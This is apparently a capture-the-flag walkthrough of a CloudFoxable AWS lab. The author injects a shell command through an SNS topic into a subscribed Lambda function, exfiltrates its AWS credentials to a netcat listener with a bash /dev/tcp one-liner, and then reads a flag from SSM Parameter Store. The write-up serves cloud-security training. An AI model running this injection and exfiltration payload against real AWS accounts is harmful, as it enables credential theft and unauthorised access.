You’ve just gained access to the role viniciusjr. At first glance, this role appears to only have some SNS read-only access? But I don’t think that’s accurate. See if you can get to the flag /cloudfoxable/flag/executioner in the SSM parameter store.

Information Gathering

First things first, set up the profile, and test access.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
adicpnn@laboratory cloud % cat ~/.aws/config | tail 

[profile vini]
region = eu-central-1
role_arn = arn:aws:iam::129323993607:role/viniciusjr
source_profile = cloudfoxable

adicpnn@laboratory cloud % aws sts get-caller-identity --profile vini
{
    "UserId": "AROAR4HCPRIDXMLFGL22G:botocore-session-1773327029",
    "Account": "129323993607",
    "Arn": "arn:aws:sts::129323993607:assumed-role/viniciusjr/botocore-session-1773327029"
}

Then, enumerating attached policies.

1
2
3
4
5
6
7
8
9
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name viniciusjr --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "AmazonSNSReadOnlyAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AmazonSNSReadOnlyAccess"
        }
    ]
}

Interesting, just SNS read access. I’ll repeat some of the steps performed during the “The topic is exposure” challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
adicpnn@laboratory cloud % aws sns list-topics --profile vini
{
    "Topics": [
        {
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:eventbridge-sns"
        },
        {
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:executioner"
        },
        {
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:public"
        },
        {
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:user-updates-topic"
        },
        {
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:user-updates-topic.fifo"
        }
    ]
}

I previously did “eventbridge-sns”, so I’ll skip this one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
adicpnn@laboratory cloud % aws sns get-topic-attributes --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --profile vini
{
    "Attributes": {
        "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"snspolicy\",\"Statement\":[{\"Sid\":\"First\",\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sns:Subscribe\",\"sns:Publish\"],\"Resource\":\"arn:aws:sns:eu-central-1:129323993607:executioner\",\"Condition\":{\"StringEquals\":{\"aws:PrincipalAccount\":\"129323993607\"}}}]}",
        "LambdaSuccessFeedbackSampleRate": "0",
        "Owner": "129323993607",
        "SubscriptionsPending": "0",
        "TopicArn": "arn:aws:sns:eu-central-1:129323993607:executioner",
        "EffectiveDeliveryPolicy": "{\"http\":{\"defaultHealthyRetryPolicy\":{\"minDelayTarget\":20,\"maxDelayTarget\":20,\"numRetries\":3,\"numMaxDelayRetries\":0,\"numNoDelayRetries\":0,\"numMinDelayRetries\":0,\"backoffFunction\":\"linear\"},\"disableSubscriptionOverrides\":false,\"defaultRequestPolicy\":{\"headerContentType\":\"text/plain; charset=UTF-8\"}}}",
        "FirehoseSuccessFeedbackSampleRate": "0",
        "SubscriptionsConfirmed": "1",
        "SQSSuccessFeedbackSampleRate": "0",
        "HTTPSuccessFeedbackSampleRate": "0",
        "ApplicationSuccessFeedbackSampleRate": "0",
        "DisplayName": "",
        "SubscriptionsDeleted": "0"
    }
}

Interesting, this time around, any principal in my AWS account can subscribe to this topic. I’ll go ahead and subscribe to it.

1
2
3
4
adicpnn@laboratory cloud % aws sns subscribe --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --protocol email --notification-endpoint email@gmail.com --profile vini
{
    "SubscriptionArn": "pending confirmation"
}

Confirmation Email

Notification Email

Interesting, not a lot of information going on, I need to enumerate some more.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
adicpnn@laboratory cloud % aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --profile vini
{
    "Subscriptions": [
        {
            "SubscriptionArn": "arn:aws:sns:eu-central-1:129323993607:executioner:5faf4360-11e0-4c91-a774-f81abf575c00",
            "Owner": "129323993607",
            "Protocol": "email",
            "Endpoint": "email@gmail.com",
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:executioner"
        },
        {
            "SubscriptionArn": "arn:aws:sns:eu-central-1:129323993607:executioner:2c8fe6b9-15a9-4039-8e08-e6db838d5988",
            "Owner": "129323993607",
            "Protocol": "lambda",
            "Endpoint": "arn:aws:lambda:eu-central-1:129323993607:function:executioner",
            "TopicArn": "arn:aws:sns:eu-central-1:129323993607:executioner"
        }
    ]
}

Execution

Looks like there’s a lambda function subscribed aswell. Maybe I can interact with it by publishing a message to the topic.

1
2
3
4
5
adicpnn@laboratory cloud % aws lambda get-policy --function-name executioner --profile cloudfoxable
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"AllowExecutionFromSNS\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"sns.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:eu-central-1:129323993607:function:executioner\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:sns:eu-central-1:129323993607:executioner\"}}}]}",
    "RevisionId": "2973b3bf-b8c1-4a8f-9ebf-c10c49d6e36c"
}

This is confirmation that the lambda will indeed execute when a message is published. This is quite a step up in difficulty from previous challenges, as it took quite a while to get a working PoC.

I hosted an EC2 instance to act as an exfiltration point, and tried getting the lambda function to send it’s AWS access credentials to it.

1
2
3
4
[ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
1
2
3
4
adicpnn@laboratory cloud % aws sns publish --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --message 'exec 3<>/dev/tcp/ip_addr/9999; echo -e "GET /aloha?a=$AWS_ACCESS_KEY_ID&b=$AWS_SECRET_ACCESS_KEY&c=$AWS_SESSION_TOKEN HTTP/1.1\r\nHost: ip_addr\r\n\r\n" >&3 ; exec 3<&-'
{
    "MessageId": "4d2e8f56-40d0-57d7-a832-ed7a997ee8fe"
}

This command is simply used because the runtime environment of the lambda function had no utilities, such as netcat, or curl, so the only alternative was to send raw data on a socket. Not long after, I get all the data I need on my netcat listener.

1
2
3
4
5
6
7
8
[ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 52.59.192.178.
Ncat: Connection from 52.59.192.178:37652.
GET /aloha?a=nope&b=nope&c=nope HTTP/1.1
Host: ip_addr

Saved the access keys in a profile inside ~/.aws/credentials, then validated then.

1
2
3
4
5
6
adicpnn@laboratory cloud % aws sts get-caller-identity --profile lambda
{
    "UserId": "AROAR4HCPRID45FHUA3OY:executioner",
    "Account": "129323993607",
    "Arn": "arn:aws:sts::129323993607:assumed-role/ream/executioner"
}

This role has two policies attached to it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name ream --profile cloudfoxable
{
    "AttachedPolicies": [
        {
            "PolicyName": "executioner-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/executioner-policy"
        },
        {
            "PolicyName": "executioner-secret-policy",
            "PolicyArn": "arn:aws:iam::129323993607:policy/executioner-secret-policy"
        }
    ]
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/executioner-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "logs:CreateLogGroup",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents",
                        "sns:Subscribe",
                        "sns:ListSubscriptionsByTopic",
                        "sns:ListTopics",
                        "sns:ListSubscriptions",
                        "sns:GetTopicAttributes",
                        "sns:Receive",
                        "ssm:DescribeParameters"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:57+00:00"
    }
}
adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/executioner-secret-policy --version-id v1 --profile cloudfoxable
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "ssm:GetParameter",
                    "Effect": "Allow",
                    "Resource": "arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/executioner"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-03-11T15:43:59+00:00"
    }
}

Looks like this might be enough for me to retrieve the flag for this challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
adicpnn@laboratory cloud % aws ssm get-parameter --name /cloudfoxable/flag/executioner --with-decryption --profile lambda
{
    "Parameter": {
        "Name": "/cloudfoxable/flag/executioner",
        "Type": "SecureString",
        "Value": "FLAG{theTopicIsExecution::WeJustPoppedALambdaByInjectingAnEvilSNSmessage}",
        "Version": 1,
        "LastModifiedDate": "2026-03-11T16:43:57.689000+01:00",
        "ARN": "arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/executioner",
        "DataType": "text"
    }
}